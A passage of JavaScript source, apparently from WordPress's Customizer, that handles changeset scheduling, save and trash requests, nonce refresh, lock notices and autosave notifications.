				if ( api.state( 'selectedChangesetStatus' ).get() !== defaultChangesetStatus ) {
					highlightScheduleButton();
				} else if ( 'future' === api.state( 'selectedChangesetStatus' ).get() && api.state( 'selectedChangesetDate' ).get() !== api.state( 'changesetDate' ).get() ) {
					highlightScheduleButton();
				}
			} );

			statusControl = new api.Control( 'changeset_status', {
				priority: 10,
				type: 'radio',
				section: 'publish_settings',
				setting: api.state( 'selectedChangesetStatus' ),
				templateId: 'customize-selected-changeset-status-control',
				label: api.l10n.action,
				choices: api.settings.changeset.statusChoices
			} );
			api.control.add( statusControl );

			dateControl = new api.DateTimeControl( 'changeset_scheduled_date', {
				priority: 20,
				section: 'publish_settings',
				setting: api.state( 'selectedChangesetDate' ),
				minYear: ( new Date() ).getFullYear(),
				allowPastDate: false,
				includeTime: true,
				twelveHourFormat: /a/i.test( api.settings.timeFormat ),
				description: api.l10n.scheduleDescription
			} );
			dateControl.notifications.alt = true;
			api.control.add( dateControl );

			publishWhenTime = function() {
				api.state( 'selectedChangesetStatus' ).set( 'publish' );
				api.previewer.save();
			};

			// Start countdown for when the dateTime arrives, or clear interval when it is .
			updateTimeArrivedPoller = function() {
				var shouldPoll = (
					'future' === api.state( 'changesetStatus' ).get() &&
					'future' === api.state( 'selectedChangesetStatus' ).get() &&
					api.state( 'changesetDate' ).get() &&
					api.state( 'selectedChangesetDate' ).get() === api.state( 'changesetDate' ).get() &&
					api.utils.getRemainingTime( api.state( 'changesetDate' ).get() ) >= 0
				);

				if ( shouldPoll && ! pollInterval ) {
					pollInterval = setInterval( function() {
						var remainingTime = api.utils.getRemainingTime( api.state( 'changesetDate' ).get() );
						api.state( 'remainingTimeToPublish' ).set( remainingTime );
						if ( remainingTime <= 0 ) {
							clearInterval( pollInterval );
							pollInterval = 0;
							publishWhenTime();
						}
					}, timeArrivedPollingInterval );
				} else if ( ! shouldPoll && pollInterval ) {
					clearInterval( pollInterval );
					pollInterval = 0;
				}
			};

			api.state( 'changesetDate' ).bind( updateTimeArrivedPoller );
			api.state( 'selectedChangesetDate' ).bind( updateTimeArrivedPoller );
			api.state( 'changesetStatus' ).bind( updateTimeArrivedPoller );
			api.state( 'selectedChangesetStatus' ).bind( updateTimeArrivedPoller );
			updateTimeArrivedPoller();

			// Ensure dateControl only appears when selected status is future.
			dateControl.active.validate = function() {
				return 'future' === api.state( 'selectedChangesetStatus' ).get();
			};
			toggleDateControl = function( value ) {
				dateControl.active.set( 'future' === value );
			};
			toggleDateControl( api.state( 'selectedChangesetStatus' ).get() );
			api.state( 'selectedChangesetStatus' ).bind( toggleDateControl );

			// Show notification on date control when status is future but it isn't a future date.
			api.state( 'saving' ).bind( function( isSaving ) {
				if ( isSaving && 'future' === api.state( 'selectedChangesetStatus' ).get() ) {
					dateControl.toggleFutureDateNotification( ! dateControl.isFutureDate() );
				}
			} );
		} );

		// Prevent the form from saving when enter is pressed on an input or select element.
		$('#customize-controls').on( 'keydown', function( e ) {
			var isEnter = ( 13 === e.which ),
				$el = $( e.target );

			if ( isEnter && ( $el.is( 'input:not([type=button])' ) || $el.is( 'select' ) ) ) {
				e.preventDefault();
			}
		});

		// Expand/Collapse the main customizer customize info.
		$( '.customize-info' ).find( '> .accordion-section-title .customize-help-toggle' ).on( 'click', function() {
			var section = $( this ).closest( '.accordion-section' ),
				content = section.find( '.customize-panel-description:first' );

			if ( section.hasClass( 'cannot-expand' ) ) {
				return;
			}

			if ( section.hasClass( 'open' ) ) {
				section.toggleClass( 'open' );
				content.slideUp( api.Panel.prototype.defaultExpandedArguments.duration, function() {
					content.trigger( 'toggled' );
				} );
				$( this ).attr( 'aria-expanded', false );
			} else {
				content.slideDown( api.Panel.prototype.defaultExpandedArguments.duration, function() {
					content.trigger( 'toggled' );
				} );
				section.toggleClass( 'open' );
				$( this ).attr( 'aria-expanded', true );
			}
		});

		/**
		 * Initialize Previewer
		 *
		 * @alias wp.customize.previewer
		 */
		api.previewer = new api.Previewer({
			container:   '#customize-preview',
			form:        '#customize-controls',
			previewUrl:  api.settings.url.preview,
			allowedUrls: api.settings.url.allowed
		},/** @lends wp.customize.previewer */{

			nonce: api.settings.nonce,

			/**
			 * Build the query to send along with the Preview request.
			 *
			 * @since 3.4.0
			 * @since 4.7.0 Added options param.
			 * @access public
			 *
			 * @param {Object}  [options] Options.
			 * @param {boolean} [options.excludeCustomizedSaved=false] Exclude saved settings in customized response (values pending writing to changeset).
			 * @return {Object} Query vars.
			 */
			query: function( options ) {
				var queryVars = {
					wp_customize: 'on',
					customize_theme: api.settings.theme.stylesheet,
					nonce: this.nonce.preview,
					customize_changeset_uuid: api.settings.changeset.uuid
				};
				if ( api.settings.changeset.autosaved || ! api.state( 'saved' ).get() ) {
					queryVars.customize_autosaved = 'on';
				}

				/*
				 * Exclude customized data if requested especially for calls to requestChangesetUpdate.
				 * Changeset updates are differential and so it is a performance waste to send all of
				 * the dirty settings with each update.
				 */
				queryVars.customized = JSON.stringify( api.dirtyValues( {
					unsaved: options && options.excludeCustomizedSaved
				} ) );

				return queryVars;
			},

			/**
			 * Save (and publish) the customizer changeset.
			 *
			 * Updates to the changeset are transactional. If any of the settings
			 * are invalid then none of them will be written into the changeset.
			 * A revision will be made for the changeset post if revisions support
			 * has been added to the post type.
			 *
			 * @since 3.4.0
			 * @since 4.7.0 Added args param and return value.
			 *
			 * @param {Object} [args] Args.
			 * @param {string} [args.status=publish] Status.
			 * @param {string} [args.date] Date, in local time in MySQL format.
			 * @param {string} [args.title] Title
			 * @return {jQuery.promise} Promise.
			 */
			save: function( args ) {
				var previewer = this,
					deferred = $.Deferred(),
					changesetStatus = api.state( 'selectedChangesetStatus' ).get(),
					selectedChangesetDate = api.state( 'selectedChangesetDate' ).get(),
					processing = api.state( 'processing' ),
					submitWhenDoneProcessing,
					submit,
					modifiedWhileSaving = {},
					invalidSettings = [],
					invalidControls = [],
					invalidSettingLessControls = [];

				if ( args && args.status ) {
					changesetStatus = args.status;
				}

				if ( api.state( 'saving' ).get() ) {
					deferred.reject( 'already_saving' );
					deferred.promise();
				}

				api.state( 'saving' ).set( true );

				function captureSettingModifiedDuringSave( setting ) {
					modifiedWhileSaving[ setting.id ] = true;
				}

				submit = function () {
					var request, query, settingInvalidities = {}, latestRevision = api._latestRevision, errorCode = 'client_side_error';

					api.bind( 'change', captureSettingModifiedDuringSave );
					api.notifications.remove( errorCode );

					/*
					 * Block saving if there are any settings that are marked as
					 * invalid from the client (not from the server). Focus on
					 * the control.
					 */
					api.each( function( setting ) {
						setting.notifications.each( function( notification ) {
							if ( 'error' === notification.type && ! notification.fromServer ) {
								invalidSettings.push( setting.id );
								if ( ! settingInvalidities[ setting.id ] ) {
									settingInvalidities[ setting.id ] = {};
								}
								settingInvalidities[ setting.id ][ notification.code ] = notification;
							}
						} );
					} );

					// Find all invalid setting less controls with notification type error.
					api.control.each( function( control ) {
						if ( ! control.setting || ! control.setting.id && control.active.get() ) {
							control.notifications.each( function( notification ) {
							    if ( 'error' === notification.type ) {
								    invalidSettingLessControls.push( [ control ] );
							    }
							} );
						}
					} );

					invalidControls = _.union( invalidSettingLessControls, _.values( api.findControlsForSettings( invalidSettings ) ) );
					if ( ! _.isEmpty( invalidControls ) ) {

						invalidControls[0][0].focus();
						api.unbind( 'change', captureSettingModifiedDuringSave );

						if ( invalidSettings.length ) {
							api.notifications.add( new api.Notification( errorCode, {
								message: ( 1 === invalidSettings.length ? api.l10n.saveBlockedError.singular : api.l10n.saveBlockedError.plural ).replace( /%s/g, String( invalidSettings.length ) ),
								type: 'error',
								dismissible: true,
								saveFailure: true
							} ) );
						}

						deferred.rejectWith( previewer, [
							{ setting_invalidities: settingInvalidities }
						] );
						api.state( 'saving' ).set( false );
						return deferred.promise();
					}

					/*
					 * Note that excludeCustomizedSaved is intentionally false so that the entire
					 * set of customized data will be included if bypassed changeset update.
					 */
					query = $.extend( previewer.query( { excludeCustomizedSaved: false } ), {
						nonce: previewer.nonce.save,
						customize_changeset_status: changesetStatus
					} );

					if ( args && args.date ) {
						query.customize_changeset_date = args.date;
					} else if ( 'future' === changesetStatus && selectedChangesetDate ) {
						query.customize_changeset_date = selectedChangesetDate;
					}

					if ( args && args.title ) {
						query.customize_changeset_title = args.title;
					}

					// Allow plugins to modify the params included with the save request.
					api.trigger( 'save-request-params', query );

					/*
					 * Note that the dirty customized values will have already been set in the
					 * changeset and so technically query.customized could be deleted. However,
					 * it is remaining here to make sure that any settings that got updated
					 * quietly which may have not triggered an update request will also get
					 * included in the values that get saved to the changeset. This will ensure
					 * that values that get injected via the saved event will be included in
					 * the changeset. This also ensures that setting values that were invalid
					 * will get re-validated, perhaps in the case of settings that are invalid
					 * due to dependencies on other settings.
					 */
					request = wp.ajax.post( 'customize_save', query );
					api.state( 'processing' ).set( api.state( 'processing' ).get() + 1 );

					api.trigger( 'save', request );

					request.always( function () {
						api.state( 'processing' ).set( api.state( 'processing' ).get() - 1 );
						api.state( 'saving' ).set( false );
						api.unbind( 'change', captureSettingModifiedDuringSave );
					} );

					// Remove notifications that were added due to save failures.
					api.notifications.each( function( notification ) {
						if ( notification.saveFailure ) {
							api.notifications.remove( notification.code );
						}
					});

					request.fail( function ( response ) {
						var notification, notificationArgs;
						notificationArgs = {
							type: 'error',
							dismissible: true,
							fromServer: true,
							saveFailure: true
						};

						if ( '0' === response ) {
							response = 'not_logged_in';
						} else if ( '-1' === response ) {
							// Back-compat in case any other check_ajax_referer() call is dying.
							response = 'invalid_nonce';
						}

						if ( 'invalid_nonce' === response ) {
							previewer.cheatin();
						} else if ( 'not_logged_in' === response ) {
							previewer.preview.iframe.hide();
							previewer.login().done( function() {
								previewer.save();
								previewer.preview.iframe.show();
							} );
						} else if ( response.code ) {
							if ( 'not_future_date' === response.code && api.section.has( 'publish_settings' ) && api.section( 'publish_settings' ).active.get() && api.control.has( 'changeset_scheduled_date' ) ) {
								api.control( 'changeset_scheduled_date' ).toggleFutureDateNotification( true ).focus();
							} else if ( 'changeset_locked' !== response.code ) {
								notification = new api.Notification( response.code, _.extend( notificationArgs, {
									message: response.message
								} ) );
							}
						} else {
							notification = new api.Notification( 'unknown_error', _.extend( notificationArgs, {
								message: api.l10n.unknownRequestFail
							} ) );
						}

						if ( notification ) {
							api.notifications.add( notification );
						}

						if ( response.setting_validities ) {
							api._handleSettingValidities( {
								settingValidities: response.setting_validities,
								focusInvalidControl: true
							} );
						}

						deferred.rejectWith( previewer, [ response ] );
						api.trigger( 'error', response );

						// Start a new changeset if the underlying changeset was published.
						if ( 'changeset_already_published' === response.code && response.next_changeset_uuid ) {
							api.settings.changeset.uuid = response.next_changeset_uuid;
							api.state( 'changesetStatus' ).set( '' );
							if ( api.settings.changeset.branching ) {
								parent.send( 'changeset-uuid', api.settings.changeset.uuid );
							}
							api.previewer.send( 'changeset-uuid', api.settings.changeset.uuid );
						}
					} );

					request.done( function( response ) {

						previewer.send( 'saved', response );

						api.state( 'changesetStatus' ).set( response.changeset_status );
						if ( response.changeset_date ) {
							api.state( 'changesetDate' ).set( response.changeset_date );
						}

						if ( 'publish' === response.changeset_status ) {

							// Mark all published as clean if they haven't been modified during the request.
							api.each( function( setting ) {
								/*
								 * Note that the setting revision will be undefined in the case of setting
								 * values that are marked as dirty when the customizer is loaded, such as
								 * when applying starter content. All other dirty settings will have an
								 * associated revision due to their modification triggering a change event.
								 */
								if ( setting._dirty && ( _.isUndefined( api._latestSettingRevisions[ setting.id ] ) || api._latestSettingRevisions[ setting.id ] <= latestRevision ) ) {
									setting._dirty = false;
								}
							} );

							api.state( 'changesetStatus' ).set( '' );
							api.settings.changeset.uuid = response.next_changeset_uuid;
							if ( api.settings.changeset.branching ) {
								parent.send( 'changeset-uuid', api.settings.changeset.uuid );
							}
						}

						// Prevent subsequent requestChangesetUpdate() calls from including the settings that have been saved.
						api._lastSavedRevision = Math.max( latestRevision, api._lastSavedRevision );

						if ( response.setting_validities ) {
							api._handleSettingValidities( {
								settingValidities: response.setting_validities,
								focusInvalidControl: true
							} );
						}

						deferred.resolveWith( previewer, [ response ] );
						api.trigger( 'saved', response );

						// Restore the global dirty state if any settings were modified during save.
						if ( ! _.isEmpty( modifiedWhileSaving ) ) {
							api.state( 'saved' ).set( false );
						}
					} );
				};

				if ( 0 === processing() ) {
					submit();
				} else {
					submitWhenDoneProcessing = function () {
						if ( 0 === processing() ) {
							api.state.unbind( 'change', submitWhenDoneProcessing );
							submit();
						}
					};
					api.state.bind( 'change', submitWhenDoneProcessing );
				}

				return deferred.promise();
			},

			/**
			 * Trash the current changes.
			 *
			 * Revert the Customizer to its previously-published state.
			 *
			 * @since 4.9.0
			 *
			 * @return {jQuery.promise} Promise.
			 */
			trash: function trash() {
				var request, success, fail;

				api.state( 'trashing' ).set( true );
				api.state( 'processing' ).set( api.state( 'processing' ).get() + 1 );

				request = wp.ajax.post( 'customize_trash', {
					customize_changeset_uuid: api.settings.changeset.uuid,
					nonce: api.settings.nonce.trash
				} );
				api.notifications.add( new api.OverlayNotification( 'changeset_trashing', {
					type: 'info',
					message: api.l10n.revertingChanges,
					loading: true
				} ) );

				success = function() {
					var urlParser = document.createElement( 'a' ), queryParams;

					api.state( 'changesetStatus' ).set( 'trash' );
					api.each( function( setting ) {
						setting._dirty = false;
					} );
					api.state( 'saved' ).set( true );

					// Go back to Customizer without changeset.
					urlParser.href = location.href;
					queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
					delete queryParams.changeset_uuid;
					queryParams['return'] = api.settings.url['return'];
					urlParser.search = $.param( queryParams );
					location.replace( urlParser.href );
				};

				fail = function( code, message ) {
					var notificationCode = code || 'unknown_error';
					api.state( 'processing' ).set( api.state( 'processing' ).get() - 1 );
					api.state( 'trashing' ).set( false );
					api.notifications.remove( 'changeset_trashing' );
					api.notifications.add( new api.Notification( notificationCode, {
						message: message || api.l10n.unknownError,
						dismissible: true,
						type: 'error'
					} ) );
				};

				request.done( function( response ) {
					success( response.message );
				} );

				request.fail( function( response ) {
					var code = response.code || 'trashing_failed';
					if ( response.success || 'non_existent_changeset' === code || 'changeset_already_trashed' === code ) {
						success( response.message );
					} else {
						fail( code, response.message );
					}
				} );
			},

			/**
			 * Builds the front preview URL with the current state of customizer.
			 *
			 * @since 4.9.0
			 *
			 * @return {string} Preview URL.
			 */
			getFrontendPreviewUrl: function() {
				var previewer = this, params, urlParser;
				urlParser = document.createElement( 'a' );
				urlParser.href = previewer.previewUrl.get();
				params = api.utils.parseQueryString( urlParser.search.substr( 1 ) );

				if ( api.state( 'changesetStatus' ).get() && 'publish' !== api.state( 'changesetStatus' ).get() ) {
					params.customize_changeset_uuid = api.settings.changeset.uuid;
				}
				if ( ! api.state( 'activated' ).get() ) {
					params.customize_theme = api.settings.theme.stylesheet;
				}

				urlParser.search = $.param( params );
				return urlParser.href;
			}
		});

		// Ensure preview nonce is included with every customized request, to allow post data to be read.
		$.ajaxPrefilter( function injectPreviewNonce( options ) {
			if ( ! /wp_customize=on/.test( options.data ) ) {
				return;
			}
			options.data += '&' + $.param({
				customize_preview_nonce: api.settings.nonce.preview
			});
		});

		// Refresh the nonces if the preview sends updated nonces over.
		api.previewer.bind( 'nonce', function( nonce ) {
			$.extend( this.nonce, nonce );
		});

		// Refresh the nonces if login sends updated nonces over.
		api.bind( 'nonce-refresh', function( nonce ) {
			$.extend( api.settings.nonce, nonce );
			$.extend( api.previewer.nonce, nonce );
			api.previewer.send( 'nonce-refresh', nonce );
		});

		// Create Settings.
		$.each( api.settings.settings, function( id, data ) {
			var Constructor = api.settingConstructor[ data.type ] || api.Setting;
			api.add( new Constructor( id, data.value, {
				transport: data.transport,
				previewer: api.previewer,
				dirty: !! data.dirty
			} ) );
		});

		// Create Panels.
		$.each( api.settings.panels, function ( id, data ) {
			var Constructor = api.panelConstructor[ data.type ] || api.Panel, options;
			// Inclusion of params alias is for back-compat for custom panels that expect to augment this property.
			options = _.extend( { params: data }, data );
			api.panel.add( new Constructor( id, options ) );
		});

		// Create Sections.
		$.each( api.settings.sections, function ( id, data ) {
			var Constructor = api.sectionConstructor[ data.type ] || api.Section, options;
			// Inclusion of params alias is for back-compat for custom sections that expect to augment this property.
			options = _.extend( { params: data }, data );
			api.section.add( new Constructor( id, options ) );
		});

		// Create Controls.
		$.each( api.settings.controls, function( id, data ) {
			var Constructor = api.controlConstructor[ data.type ] || api.Control, options;
			// Inclusion of params alias is for back-compat for custom controls that expect to augment this property.
			options = _.extend( { params: data }, data );
			api.control.add( new Constructor( id, options ) );
		});

		// Focus the autofocused element.
		_.each( [ 'panel', 'section', 'control' ], function( type ) {
			var id = api.settings.autofocus[ type ];
			if ( ! id ) {
				return;
			}

			/*
			 * Defer focus until:
			 * 1. The panel, section, or control exists (especially for dynamically-created ones).
			 * 2. The instance is embedded in the document (and so is focusable).
			 * 3. The preview has finished loading so that the active states have been set.
			 */
			api[ type ]( id, function( instance ) {
				instance.deferred.embedded.done( function() {
					api.previewer.deferred.active.done( function() {
						instance.focus();
					});
				});
			});
		});

		api.bind( 'ready', api.reflowPaneContents );
		$( [ api.panel, api.section, api.control ] ).each( function ( i, values ) {
			var debouncedReflowPaneContents = _.debounce( api.reflowPaneContents, api.settings.timeouts.reflowPaneContents );
			values.bind( 'add', debouncedReflowPaneContents );
			values.bind( 'change', debouncedReflowPaneContents );
			values.bind( 'remove', debouncedReflowPaneContents );
		} );

		// Set up global notifications area.
		api.bind( 'ready', function setUpGlobalNotificationsArea() {
			var sidebar, containerHeight, containerInitialTop;
			api.notifications.container = $( '#customize-notifications-area' );

			api.notifications.bind( 'change', _.debounce( function() {
				api.notifications.render();
			} ) );

			sidebar = $( '.wp-full-overlay-sidebar-content' );
			api.notifications.bind( 'rendered', function updateSidebarTop() {
				sidebar.css( 'top', '' );
				if ( 0 !== api.notifications.count() ) {
					containerHeight = api.notifications.container.outerHeight() + 1;
					containerInitialTop = parseInt( sidebar.css( 'top' ), 10 );
					sidebar.css( 'top', containerInitialTop + containerHeight + 'px' );
				}
				api.notifications.trigger( 'sidebarTopUpdated' );
			});

			api.notifications.render();
		});

		// Save and activated states.
		(function( state ) {
			var saved = state.instance( 'saved' ),
				saving = state.instance( 'saving' ),
				trashing = state.instance( 'trashing' ),
				activated = state.instance( 'activated' ),
				processing = state.instance( 'processing' ),
				paneVisible = state.instance( 'paneVisible' ),
				expandedPanel = state.instance( 'expandedPanel' ),
				expandedSection = state.instance( 'expandedSection' ),
				changesetStatus = state.instance( 'changesetStatus' ),
				selectedChangesetStatus = state.instance( 'selectedChangesetStatus' ),
				changesetDate = state.instance( 'changesetDate' ),
				selectedChangesetDate = state.instance( 'selectedChangesetDate' ),
				previewerAlive = state.instance( 'previewerAlive' ),
				editShortcutVisibility  = state.instance( 'editShortcutVisibility' ),
				changesetLocked = state.instance( 'changesetLocked' ),
				populateChangesetUuidParam, defaultSelectedChangesetStatus;

			state.bind( 'change', function() {
				var canSave;

				if ( ! activated() ) {
					saveBtn.val( api.l10n.activate );
					closeBtn.find( '.screen-reader-text' ).text( api.l10n.cancel );

				} else if ( '' === changesetStatus.get() && saved() ) {
					if ( api.settings.changeset.currentUserCanPublish ) {
						saveBtn.val( api.l10n.published );
					} else {
						saveBtn.val( api.l10n.saved );
					}
					closeBtn.find( '.screen-reader-text' ).text( api.l10n.close );

				} else {
					if ( 'draft' === selectedChangesetStatus() ) {
						if ( saved() && selectedChangesetStatus() === changesetStatus() ) {
							saveBtn.val( api.l10n.draftSaved );
						} else {
							saveBtn.val( api.l10n.saveDraft );
						}
					} else if ( 'future' === selectedChangesetStatus() ) {
						if ( saved() && selectedChangesetStatus() === changesetStatus() ) {
							if ( changesetDate.get() !== selectedChangesetDate.get() ) {
								saveBtn.val( api.l10n.schedule );
							} else {
								saveBtn.val( api.l10n.scheduled );
							}
						} else {
							saveBtn.val( api.l10n.schedule );
						}
					} else if ( api.settings.changeset.currentUserCanPublish ) {
						saveBtn.val( api.l10n.publish );
					}
					closeBtn.find( '.screen-reader-text' ).text( api.l10n.cancel );
				}

				/*
				 * Save (publish) button should be enabled if saving is not currently happening,
				 * and if the theme is not active or the changeset exists but is not published.
				 */
				canSave = ! saving() && ! trashing() && ! changesetLocked() && ( ! activated() || ! saved() || ( changesetStatus() !== selectedChangesetStatus() && '' !== changesetStatus() ) || ( 'future' === selectedChangesetStatus() && changesetDate.get() !== selectedChangesetDate.get() ) );

				saveBtn.prop( 'disabled', ! canSave );
			});

			selectedChangesetStatus.validate = function( status ) {
				if ( '' === status || 'auto-draft' === status ) {
					return null;
				}
				return status;
			};

			defaultSelectedChangesetStatus = api.settings.changeset.currentUserCanPublish ? 'publish' : 'draft';

			// Set default states.
			changesetStatus( api.settings.changeset.status );
			changesetLocked( Boolean( api.settings.changeset.lockUser ) );
			changesetDate( api.settings.changeset.publishDate );
			selectedChangesetDate( api.settings.changeset.publishDate );
			selectedChangesetStatus( '' === api.settings.changeset.status || 'auto-draft' === api.settings.changeset.status ? defaultSelectedChangesetStatus : api.settings.changeset.status );
			selectedChangesetStatus.link( changesetStatus ); // Ensure that direct updates to status on server via wp.customizer.previewer.save() will update selection.
			saved( true );
			if ( '' === changesetStatus() ) { // Handle case for loading starter content.
				api.each( function( setting ) {
					if ( setting._dirty ) {
						saved( false );
					}
				} );
			}
			saving( false );
			activated( api.settings.theme.active );
			processing( 0 );
			paneVisible( true );
			expandedPanel( false );
			expandedSection( false );
			previewerAlive( true );
			editShortcutVisibility( 'visible' );

			api.bind( 'change', function() {
				if ( state( 'saved' ).get() ) {
					state( 'saved' ).set( false );
				}
			});

			// Populate changeset UUID param when state becomes dirty.
			if ( api.settings.changeset.branching ) {
				saved.bind( function( isSaved ) {
					if ( ! isSaved ) {
						populateChangesetUuidParam( true );
					}
				});
			}

			saving.bind( function( isSaving ) {
				body.toggleClass( 'saving', isSaving );
			} );
			trashing.bind( function( isTrashing ) {
				body.toggleClass( 'trashing', isTrashing );
			} );

			api.bind( 'saved', function( response ) {
				state('saved').set( true );
				if ( 'publish' === response.changeset_status ) {
					state( 'activated' ).set( true );
				}
			});

			activated.bind( function( to ) {
				if ( to ) {
					api.trigger( 'activated' );
				}
			});

			/**
			 * Populate URL with UUID via `history.replaceState()`.
			 *
			 * @since 4.7.0
			 * @access private
			 *
			 * @param {boolean} isIncluded Is UUID included.
			 * @return {void}
			 */
			populateChangesetUuidParam = function( isIncluded ) {
				var urlParser, queryParams;

				// Abort on IE9 which doesn't support history management.
				if ( ! history.replaceState ) {
					return;
				}

				urlParser = document.createElement( 'a' );
				urlParser.href = location.href;
				queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
				if ( isIncluded ) {
					if ( queryParams.changeset_uuid === api.settings.changeset.uuid ) {
						return;
					}
					queryParams.changeset_uuid = api.settings.changeset.uuid;
				} else {
					if ( ! queryParams.changeset_uuid ) {
						return;
					}
					delete queryParams.changeset_uuid;
				}
				urlParser.search = $.param( queryParams );
				history.replaceState( {}, document.title, urlParser.href );
			};

			// Show changeset UUID in URL when in branching mode and there is a saved changeset.
			if ( api.settings.changeset.branching ) {
				changesetStatus.bind( function( newStatus ) {
					populateChangesetUuidParam( '' !== newStatus && 'publish' !== newStatus && 'trash' !== newStatus );
				} );
			}
		}( api.state ) );

		/**
		 * Handles lock notice and take over request.
		 *
		 * @since 4.9.0
		 */
		( function checkAndDisplayLockNotice() {

			var LockedNotification = api.OverlayNotification.extend(/** @lends wp.customize~LockedNotification.prototype */{

				/**
				 * Template ID.
				 *
				 * @type {string}
				 */
				templateId: 'customize-changeset-locked-notification',

				/**
				 * Lock user.
				 *
				 * @type {object}
				 */
				lockUser: null,

				/**
				 * A notification that is displayed in a full-screen overlay with information about the locked changeset.
				 *
				 * @constructs wp.customize~LockedNotification
				 * @augments   wp.customize.OverlayNotification
				 *
				 * @since 4.9.0
				 *
				 * @param {string} [code] - Code.
				 * @param {Object} [params] - Params.
				 */
				initialize: function( code, params ) {
					var notification = this, _code, _params;
					_code = code || 'changeset_locked';
					_params = _.extend(
						{
							message: '',
							type: 'warning',
							containerClasses: '',
							lockUser: {}
						},
						params
					);
					_params.containerClasses += ' notification-changeset-locked';
					api.OverlayNotification.prototype.initialize.call( notification, _code, _params );
				},

				/**
				 * Render notification.
				 *
				 * @since 4.9.0
				 *
				 * @return {jQuery} Notification container.
				 */
				render: function() {
					var notification = this, li, data, takeOverButton, request;
					data = _.extend(
						{
							allowOverride: false,
							returnUrl: api.settings.url['return'],
							previewUrl: api.previewer.previewUrl.get(),
							frontendPreviewUrl: api.previewer.getFrontendPreviewUrl()
						},
						this
					);

					li = api.OverlayNotification.prototype.render.call( data );

					// Try to autosave the changeset now.
					api.requestChangesetUpdate( {}, { autosave: true } ).fail( function( response ) {
						if ( ! response.autosaved ) {
							li.find( '.notice-error' ).prop( 'hidden', false ).text( response.message || api.l10n.unknownRequestFail );
						}
					} );

					takeOverButton = li.find( '.customize-notice-take-over-button' );
					takeOverButton.on( 'click', function( event ) {
						event.preventDefault();
						if ( request ) {
							return;
						}

						takeOverButton.addClass( 'disabled' );
						request = wp.ajax.post( 'customize_override_changeset_lock', {
							wp_customize: 'on',
							customize_theme: api.settings.theme.stylesheet,
							customize_changeset_uuid: api.settings.changeset.uuid,
							nonce: api.settings.nonce.override_lock
						} );

						request.done( function() {
							api.notifications.remove( notification.code ); // Remove self.
							api.state( 'changesetLocked' ).set( false );
						} );

						request.fail( function( response ) {
							var message = response.message || api.l10n.unknownRequestFail;
							li.find( '.notice-error' ).prop( 'hidden', false ).text( message );

							request.always( function() {
								takeOverButton.removeClass( 'disabled' );
							} );
						} );

						request.always( function() {
							request = null;
						} );
					} );

					return li;
				}
			});

			/**
			 * Start lock.
			 *
			 * @since 4.9.0
			 *
			 * @param {Object} [args] - Args.
			 * @param {Object} [args.lockUser] - Lock user data.
			 * @param {boolean} [args.allowOverride=false] - Whether override is allowed.
			 * @return {void}
			 */
			function startLock( args ) {
				if ( args && args.lockUser ) {
					api.settings.changeset.lockUser = args.lockUser;
				}
				api.state( 'changesetLocked' ).set( true );
				api.notifications.add( new LockedNotification( 'changeset_locked', {
					lockUser: api.settings.changeset.lockUser,
					allowOverride: Boolean( args && args.allowOverride )
				} ) );
			}

			// Show initial notification.
			if ( api.settings.changeset.lockUser ) {
				startLock( { allowOverride: true } );
			}

			// Check for lock when sending heartbeat requests.
			$( document ).on( 'heartbeat-send.update_lock_notice', function( event, data ) {
				data.check_changeset_lock = true;
				data.changeset_uuid = api.settings.changeset.uuid;
			} );

			// Handle heartbeat ticks.
			$( document ).on( 'heartbeat-tick.update_lock_notice', function( event, data ) {
				var notification, code = 'changeset_locked';
				if ( ! data.customize_changeset_lock_user ) {
					return;
				}

				// Update notification when a different user takes over.
				notification = api.notifications( code );
				if ( notification && notification.lockUser.id !== api.settings.changeset.lockUser.id ) {
					api.notifications.remove( code );
				}

				startLock( {
					lockUser: data.customize_changeset_lock_user
				} );
			} );

			// Handle locking in response to changeset save errors.
			api.bind( 'error', function( response ) {
				if ( 'changeset_locked' === response.code && response.lock_user ) {
					startLock( {
						lockUser: response.lock_user
					} );
				}
			} );
		} )();

		// Set up initial notifications.
		(function() {
			var removedQueryParams = [], autosaveDismissed = false;

			/**
			 * Obtain the URL to restore the autosave.
			 *
			 * @return {string} Customizer URL.
			 */
			function getAutosaveRestorationUrl() {
				var urlParser, queryParams;
				urlParser = document.createElement( 'a' );
				urlParser.href = location.href;
				queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
				if ( api.settings.changeset.latestAutoDraftUuid ) {
					queryParams.changeset_uuid = api.settings.changeset.latestAutoDraftUuid;
				} else {
					queryParams.customize_autosaved = 'on';
				}
				queryParams['return'] = api.settings.url['return'];
				urlParser.search = $.param( queryParams );
				return urlParser.href;
			}

			/**
			 * Remove parameter from the URL.
			 *
			 * @param {Array} params - Parameter names to remove.
			 * @return {void}
			 */
			function stripParamsFromLocation( params ) {
				var urlParser = document.createElement( 'a' ), queryParams, strippedParams = 0;
				urlParser.href = location.href;
				queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
				_.each( params, function( param ) {
					if ( 'undefined' !== typeof queryParams[ param ] ) {
						strippedParams += 1;
						delete queryParams[ param ];
					}
				} );
				if ( 0 === strippedParams ) {
					return;
				}

				urlParser.search = $.param( queryParams );
				history.replaceState( {}, document.title, urlParser.href );
			}

			/**
			 * Displays a Site Editor notification when a block theme is activated.
			 *
			 * @since 4.9.0
			 *
			 * @param {string} [notification] - A notification to display.
			 * @return {void}
			 */
			function addSiteEditorNotification( notification ) {
				api.notifications.add( new api.Notification( 'site_editor_block_theme_notice', {
					message: notification,
					type: 'info',
					dismissible: false,
					render: function() {
						var notification = api.Notification.prototype.render.call( this ),
							button = notification.find( 'button.switch-to-editor' );

						button.on( 'click', function( event ) {
							event.preventDefault();
							location.assign( button.data( 'action' ) );
						} );

						return notification;
					}
				} ) );
			}

			/**
			 * Dismiss autosave.
			 *
			 * @return {void}
			 */
			function dismissAutosave() {
				if ( autosaveDismissed ) {
					return;
				}
				wp.ajax.post( 'customize_dismiss_autosave_or_lock', {
					wp_customize: 'on',
					customize_theme: api.settings.theme.stylesheet,
					customize_changeset_uuid: api.settings.changeset.uuid,
					nonce: api.settings.nonce.dismiss_autosave_or_lock,
					dismiss_autosave: true
				} );
				autosaveDismissed = true;
			}

			/**
			 * Add notification regarding the availability of an autosave to restore.
			 *
			 * @return {void}
			 */
			function addAutosaveRestoreNotification() {
				var code = 'autosave_available', onStateChange;

				// Since there is an autosave revision and the user hasn't loaded with autosaved, add notification to prompt to load autosaved version.
				api.notifications.add( new api.Notification( code, {
					message: api.l10n.autosaveNotice,
					type: 'warning',
